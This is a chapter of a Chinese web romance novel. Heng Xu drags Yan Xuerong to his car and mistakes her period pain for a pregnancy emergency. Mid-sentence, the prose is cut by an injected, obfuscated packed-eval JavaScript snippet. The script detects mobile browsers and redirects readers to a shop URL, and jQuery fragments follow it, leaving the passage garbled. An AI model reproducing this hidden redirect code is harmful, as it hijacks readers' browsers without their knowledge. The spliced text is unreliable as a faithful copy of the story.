178. 第178次下第13场微雨

作品:《晚星水汽

    男人只是用双手,从脖子上搂了过来。


    燕雪融被锢在一道带着水汽和酒味的怀抱里。


    裹着男人身上若有似无的香气,就连这个夜晚的半空中,潮湿的水汽里都在飘散着。


    散过燕雪融那之前被封存已久的记忆。


    明明应该推开的。


    明明应该要撇清关系的。


    明明手上没有任何人控制住她。


    偏偏燕雪融此时什么都没有做。


    脚步像是被人钉在了地面上。


    双手也变得软绵绵的。


    男人身上的衣服应该也喷了香水,不管是什么味道,都好像让人有些上瘾。


    燕雪融微微吸了吸鼻子。


    好香。


    思绪不由自主地飘远。


    衡旭身上……是什么香呢?


    还和大学的时候用了同一款吗?


    还是换了更新的款式、更不一样的品牌?


    衡旭——


    是以什么身份,是以什么角色,上前拥抱她的呢?


    燕雪融缓缓闭上眼睛,有些艰难地再次解释:“那个男的其实是——”


    “不准说了。”


    男人忽然开口打断。


    “我不想听。”


    最先发现的时候,衡旭的第一反应是恼怒。


    先后下楼的身影、明显在寻找的姿态、男人日常的装扮。


    甚至是那个男人凌乱敞开的衬衫,无一不在说明那个男人待在家一般轻松的姿态。


    在那一刻,衡旭忽然反应过来。


    或许那个“男人”,可能不是俞文默。


    “不管是谁都无所谓了。”


    不管是俞文默,还是别的男人。


    无所谓。


    男人忽然开口,却发现怀里的女人似乎在轻轻地颤抖。


    燕雪融唇瓣也在发抖:“你能不能……”


    “先让我给楠楠打个电话——”


    还没说完,手上的手机直接被人抢走。


    刚刚太紧张,距离燕雪融伸手去拍男人下来的视频时的页面还在,没有锁屏。


    衡旭一拿起来就能点开。


    燕雪融愣了愣。


    男人盯着手机看,眉头蹙起的褶皱越来越深。


    他看过来。


    “……入室抢劫?”


    燕雪融愣了愣:“不是。”


    “他为什么能进你家?”


    “……那不是我家。”


    男人怔住。


    燕雪融抿了抿唇,开口:“我合租的出租屋,那是我室友的男朋友。”


    衡旭就没有再说话了。


    整个空气都沉默下来。


    安静得让人惧怕。


    燕雪融抬着头,只见男人皱着眉,视线从手机上转移到女人惨白的一张脸上。


    她只觉得衡旭忽然上下打量了自己一会儿。


    “你就这么任由自己被人践踏,将日子过成这样?”


    “什么意……”


    一只被攥着的手腕被人推动过去。


    燕雪融挣扎:“你要干什么?!”


    衡旭这几年一定没少锻炼身体。


    燕雪融努力用腾出来的一只手去掰开男人手腕上抓着的指尖。


    掰不开之后着急了,完全顾不上男人左手上绑着的绷带,又打又拽又拉,硬是动摇不了男人分毫。


    “衡旭!”


    燕雪融的眼中越来越慌。


    原本之前还能强迫自己冷静下来收集证据的大脑,也像是终于反应过来了什么。


    眼眶蓄满了泪水。


    燕雪融哽咽了一声,有明显的哭腔。


    开口:“我疼,衡旭!”


    男人的脚步停了。


    燕雪融连忙去拽衡旭的手指:“手腕真的疼。”


    男人回头。


    眼前的女人眼睛湿润,像是小时候见过的,那些亮晶晶的彩色玻璃球。


    泛着光。


    男人忽然松了松手上的力度。


    却只是将指尖从手腕挪到了燕雪融的手心,强势地挤进手指的缝隙之间,与她十指相扣。


    不可能再松开的。


    不管遇到什么事,都不会再松开了。


    燕雪融还是觉得很不习惯,但挣脱了两下,肚子再次传来一阵酸软的疼痛感,一阵一阵的,痛感却让人非常熟悉。


    有什么东西如同一团浓墨似的在下方涌了出来。


    来势汹汹。


    她瞬间就僵住了。


    脚步不由自主地停了下来,原本领在前方的男人顺着她的动作也站定回头。


    燕雪融支吾道:“我真的有点事……”


    “你现在最重要的事是去医院。”


    男人啧了一声,见手心里排斥的力度居高不下,有些烦躁地握了握拳头,似乎是在害怕谁的逃跑,伸手直接抄起膝盖下方将人抱起来。


    结果对方挣扎得更加严重了。


    衡旭大步流星,一点也不想听怀里的人解释,以免对方说出什么自己不想听的东西出来。


    “不是,衡旭!”


    燕雪融抓着他的肩膀,结果男人比她更先停下。


    两人都愣了愣。


    衡旭二话不说将人塞进了副驾驶里,却忽然在手上感受到轻微异样的湿意。


    他低头一看:“——你?!”


    手上是很少的血液!


    燕雪融光是接触到车座皮料的瞬间就已经浑身僵硬了。


    回头看见男人的手心,面色大变。


    这是燕雪融回国以来第一次看见这个男人这么狼狈。


    另一只手上还有刚刚绷带上渗出来的血。


    燕雪融愣了愣,想从包里掏出纸巾,刚低头没多久就被人抱住,从副驾驶位置上塞到了后车座。


    她直接呆滞了。


    “这是……”


    “别动!!”


    猝不及防的一声怒吼。


    直接把燕雪融喊得浑身一震,再也不敢随便乱动了。


    可仔细一看,比起刚刚抓着手腕要拉扯着燕雪融的力道,方才男人伸手抱着她平躺在后车位置上的力度,几乎轻柔得就像是在捧起一根没有重量的羽毛。


    仿佛怀里抱着的人是一块极其易碎的玻璃。


    燕雪融微微低头,愣怔片刻,忍不住开口。


    “衡旭……”


    “你在发抖吗?”


    男人飞快说了一句:“不是让你不要说话吗?”


    “都不怕疼的?”


    后车座被猛地关闭,燕雪融就这么被衡旭压着躺在的后车座上睡,完全不让她坐起来。


    小腹上的疼痛感似乎也随着躺下的姿态有些轻微的环节,但身下越来越明显的潮湿感吓得燕雪融整个人都不敢动,只敢偷偷在自己的屁股上使劲儿。


    抬头。


    车门把手的位置上,细看有一道明显的血迹。


    已经分不清楚是男人自己的血迹,还是她的。


    燕雪融差点没倒吸一口气。


    要是后面让她赔的话……她还赔得起吗?


    在车里燕雪融没有说话。


    不仅又累又疼还有些头晕,刚刚跟衡旭互相挣扎就已经用掉了她身上所有的力气。


    况且,今晚刚回到家就发现有个陌生男人出现在自己房间面前,准备撬锁这件事,也让燕雪融的精神一直处于高度集中的状态当中。


    此时就像是所有情绪终于有了一个出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984772|169141||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口。


    燕雪融才心有余悸地察觉,刚刚的她似乎出现了严重的应激。


    可是衡旭的到来无意中打断了燕雪融的情绪当中。


    她伸手握了握拳。


    驾驶位上的男人似乎一直在关注身后,看见燕雪融抬起一只手,忽然开口问道:“不舒服?”


    她猛然惊醒:“衡旭!”


    燕雪融刚要坐起来,就被男人回头碾压式的低气压眼神震慑回去,但还是哽着脖子:“你喝酒了不能开车!”


    后车座上面还有好几瓶空着的威士忌。


    就连读书的时候衡旭喝威士忌也得兑水喝。


    现在直接就喝没有稀释过的高浓度酒!


    他疯了?!


    “这听上去像是在关心。”


    “这个时候你还有力气在意这个?!”


    男人沉了沉,只丢下了一句“躺在这里别动”就带着手机走了出去。


    燕雪融只能勉强从前面的车窗中看见男人聊了一会儿电话。


    男人一会儿左右踱步,很快又伸手抓了把头发。


    很快。


    男人打开了后车座的车门,从车子身后翻找了一下,却怎么也找不到一张能盖起来的毯子。


    只听见“啧”了一声,燕雪融的眼神一片漆黑。


    外套盖在了她的身上。


    整个世界都归于寂静。


    燕雪融听见衡旭又说了一句。


    “你都这样了,俞文默也不给你买套房子?”


    “……?”


    燕雪融没听懂:“他为什么要给我买房子?”


    结果车内的空气看起来更加沉闷了。


    男人气笑了。


    “行,你都这样了,还住着这种破房子。”


    “既然如此,不如直接考虑我。”


    燕雪融的大脑唰一下空白了。


    “如果这次没有事,以后我可以为‘它’负责。”


    燕雪融躺着,车内的中央后视镜正好被副驾驶的靠背挡着。


    可不知道为什么似乎能听到男人像是从牙缝中挤出来的。


    可对她负责什么?


    就因为今天捏疼了她?


    还是因为她现在生理痛?


    燕雪融皱了皱眉,觉得有点不对劲,可她想到衡旭今晚的反常行为与男人身上带来的酒味也能解释一二。


    加上男人今晚的语气听上去也太冷了。


    她不敢问了。


    半晌,燕雪融被肚子上逐渐尖锐加剧的疼痛激得倒吸凉气。


    从一开始的逐渐,到后面越发明显。


    衡旭面色一白。


    “怎么了?”


    女人的脸色白得就像一张纸。


    衡旭手心里开始出汗。


    “谁叫的救护车?”


    衡旭身上的动作猛地一顿。


    “医生,这里!”


    “电话里说的孕妇是什么情况、之前在哪家医院做的产检,有没有什么基础病?”


    两人都沉默了。


    燕雪融就是在这种痛得模糊的情况下,忽然听见一声“孕妇”。


    “——谁是孕妇?”


    医生站住。


    “你没有怀孕?”


    燕雪融迷茫了:“没有啊?”


    “那你有什么不舒服?”


    “我生理痛。”燕雪融用尽自己所有力量撑着坐起来。


    “疼到出冷汗了……会发抖,全身都觉得冷,腿软,刚刚能走,现在走不动了。”


    燕雪融在和医院交代症状和病情。


    发现旁边的男人已经沉默了不知道多久。


    半晌。


    衡旭忽然开口。


    “你没有怀孕?”